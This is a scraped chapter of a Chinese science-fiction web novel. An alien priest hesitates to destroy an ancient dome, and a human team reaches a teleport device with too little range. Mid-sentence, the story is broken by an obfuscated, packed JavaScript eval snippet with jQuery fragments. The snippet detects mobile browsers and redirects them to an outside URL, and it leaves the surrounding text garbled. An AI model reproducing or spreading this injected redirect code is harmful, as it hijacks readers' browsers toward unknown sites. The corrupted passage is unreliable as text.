26. 灰烬之上,辰星为种(16)
作品:《物理学家,星际考古》 解读者院的技术神官萨-什塔-萨克恩正在沉思。
她的两只右手紧握着那根从圣迹中复写而来的曜石权杖,盾鳞下的肌肉因为长时间保持同一姿势而轻微震颤。
权杖上的铭文已经开始回旋,她知道,战团长老会的耐心是有限的,“圣谕之锋”两个先遣小队的覆灭已经招来了更高一层的目光。
她聆听着那些优美弧线与圆点的诉说,她知道,只要他下达命令,一系列的连锁爆破就会精确地在穹顶结构的应力集中点爆发,让整个天穹彻底崩塌。
标准程序,这将会是一次完美的复写。
正如造物主为兹斯克拉什的生态穹顶带来毁灭与新生时那样,解读者院已经确认了相关历史铭文的真实性,调和者院也已经通过仪式确认这是有效复写,一切都符合《约书》。
但萨克恩仍在犹豫。
她凝视着这座宏伟穹顶外墙的一部分,即便在几十万年的荒废与崩塌后,这座建筑依然保持着令她敬畏的威严。外墙上重复着自修复与崩解的永恒循环,仿佛造物主的波动仍在这里回荡。
“神官大人。”斯特-罗克兹-奥克穆的声音,带着那种特有的平和震颤频率响起,“您的体温正在下降,是否需要我为您注入战争混合物。”
作为作战小队中唯一性别为“调质”的存在,她负责着调控全体队员的信息素与生理状态。
萨克恩感受到了自己思维的迟缓,随着体温的回落,她的新陈代谢正不由自主地放慢,决策能力开始趋于保守。
这不好,她想,战场不需要犹豫。
可她还是拒绝了奥克穆的建议。
“不,让我保持清醒。”
她需要冷静,她需要理解自己为什么会犹豫。
“造物主之息”战团的长老会下达了明确的命令:两手异形的侦察队已经进入穹顶内部,正在接近核心区域的传送装置,必须在它们造成更多亵渎之前彻底肃清,即便摧毁“初诞者摇篮”。
逻辑完美,程序正确,复写无误。
可是……
这太可惜了,不是吗?她的思维滑向了一个她不该触及的地方。
这座穹顶,按照铭文的记载,是造物主为其幼体建造的“初诞者摇篮”。在那个遥远的时代,祂们会在这里度过最初的几十个循环,学习如何感知引力的微妙波动,如何理解与大群的共鸣,如何理解万物间的连接。
萨克恩曾经在解读者院贤者的记录中看到过一段注解:
“在启蒙园的穹顶下,幼体们第一次意识到‘我’与‘我们’并无分别。在那光与影交织的空间中,祂们学会了将自我融入更大的整体,同时又保持自我的独特,这是生命最神圣的时刻——个体性的诞生与消解同时发生。”
那段文字让萨克恩感到困惑,扎瑞萨人从未有过类似的体验。她们的“个体”是温度、激素和社会配额共同决定的,她们也从未感受过大群的共鸣。
也许正因如此,她才会犹豫。
她隐隐意识到,自己即将摧毁的不仅仅是一座建筑,自己即将摧毁的是造物主文明最私密的记忆之一。誊录仪仍能感受着这片时空之中大群的回响,久远过去的每一个瞬间都被铭刻在背景之中。
一旦穹顶崩塌,这些记录也会永远消失。
“这不是亵渎吗?”萨克恩在思维深处低语。
立刻,她感到一阵熟悉的罪恶感涌上来。
这种念头本身就是危险的,质疑有效复写的正确性,质疑调和者院的裁决,这在扎瑞萨社会中是不被允许的。
她看向身后,除了奥克穆,还有三个炉炼者战士静默地守在入口处,它们巨大的身躯在微光下投射出不安的阴影,那些三心六肺的超级战士们只需要忠诚就够了。
萨克恩突然羡慕起它们来。
“神官大人,我建议立即进行激素调节,您可能正在经历温度诱发的决策障碍。”奥克穆的声音带着明显的关切。
萨克恩知道奥克穆说得对。
她的体温太低了,她的思维太慢了,她正在陷入典型的低温犹豫症,一种扎瑞萨人在寒冷环境中常见的决策失能状态。
但她用头部的伸缩表示了否定。
“我想用自己的方式思考一次。”她轻声说,几乎是在自言自语。
奥克穆沉默了片刻,然后说:“神官大人,恕我直言,‘自己的方式’本身就是一个可疑的概念,我们的思维应当是复写。”
罪恶感啃噬着萨克恩的颅中光芒。
是啊,复写。
一切的意义都在于完美地复制造物主的行为、思想、选择。
创新是危险的,个性是可疑的,自我是需要被超越的。
可是……
萨克恩的思维在这一刻出现了微小的裂隙。
如果造物主面对这种情况,祂们会怎么做?
会为了战术优势而摧毁自己的启蒙园吗?会为了消灭几个低等生物而毁掉记录着文明最初记忆的圣地吗?
她突然意识到,这个问题本身就已经触及了复写神学最深的悖论:要完美地复写造物主,就必须理解造物主的思维方式。但理解本身就意味着偏离纯粹的模仿,进入危险的诠释领域。
萨克恩能感受到自己正站在某个危险边缘上。
远处,穹顶内部的感知蜂传来回报,传回那些异形在栈道上奔跑的声音,它们正在接近核心,时间不多了。
“神官大人,亵渎的异形即将抵达核心,我们必须立刻行动。”萨克恩听到了催促,来自她名义上的下属,突击队的长官。
必须。
“圣谕之锋”愈发僭越了,“劳体”竟向着她这个“卵母”发出命令。
即便她知道这背后一定有更高层的意志。
萨克恩做出了的最终决定,一个她自己的选择。
她的两只左手在权杖投影出的面板上输入了一个复杂的序列,她将爆破的集中点改换为阻拦突击队的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921182|191653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
墙体。
“神官大人?”奥克穆的声音出现了明显的异讶,“您改换了爆破的形制?那您一定要准备好应对解读者院调查的理由。”
“我知道,但我要留下这座园。”
萨克恩抬起头,再度凝视着面前的穹顶外墙。
“如果造物主在这里看着我,”她轻声说,“我希望祂们看到的不是一个盲目的复制者……”
她停顿了。
她不知道如何完成这句话。
她应当是什么?一个试图理解祂们的学生?一个背叛教义的异端?一个被低温影响的愚蠢个体?
萨克恩不知道答案。
爆破的倒计时开始流转。
她转过身,对奥克穆说:“把这次行动记录下来,如实记录。”
…………
破碎的栈道前,叶辰死死盯着文良的坠落。
又一个。
这是她第二次目睹队友的死亡了。
匡山,现在是文良……
“我们……我们继续走吧。”林凝的声音传来,带着浓重的鼻音,“他不会希望我们停在这里。”
苏小荷没有说话,她只是呆呆看着栈道下方的深渊。
叶辰强迫自己冷静,情感压制系统开启,植入体迅速注入的激素让她的心灵如钢铁般坚硬。
悲伤消散了。
现在还不是时候,她想。
“继续前进。”叶辰开口,声音平静得可怕。
剩下的路程变得模糊而漫长,叶辰感觉自己仿佛隔着毛玻璃观看这个世界。
她们穿过最后一段栈道,避开可能的诡异生物,终于抵达了这个穹顶的核心。
高塔之中,就是开启传送的地点。
【连接彼方】
简单的文字散发着红外的荧光,在视觉补偿系统上显示出来。
随着叶辰意识的靠近,封闭已久的大门缓缓滑动,她们走了进去。
三层同心圆构成的环形装置悬浮在大厅的正中,上方是螺旋朝向塔尖的管线,散发着微光一直延伸到目不能及的高处。
三层圆环以不同的速度缓慢旋转着,液态金属的表面波动流淌出一些模糊的文字,叶辰读不太懂。
林凝已经开始检查周围的控制终端,她远程接入了一个看起来还算完好的操作台,投影上的文字开始滚动。
“系统运行状况良好,时空结构稳定……等等?”她的声音突然停顿了。
叶辰有一种不详的预感:“怎么了?”
“这个装置……它的设计极限,只有不到三万公里……”
果然如此,叶辰从知道它的用途是与行星高轨道间的传送之时,就预料到了这一点。
但此时,淡淡的失望还是涌上她的心头。
“你说什么?”
苏小荷发出一声压抑的哽咽,她靠着墙,缓缓滑坐到了地上。
“叶辰……我们该怎么办?”她眼中满是迷茫。

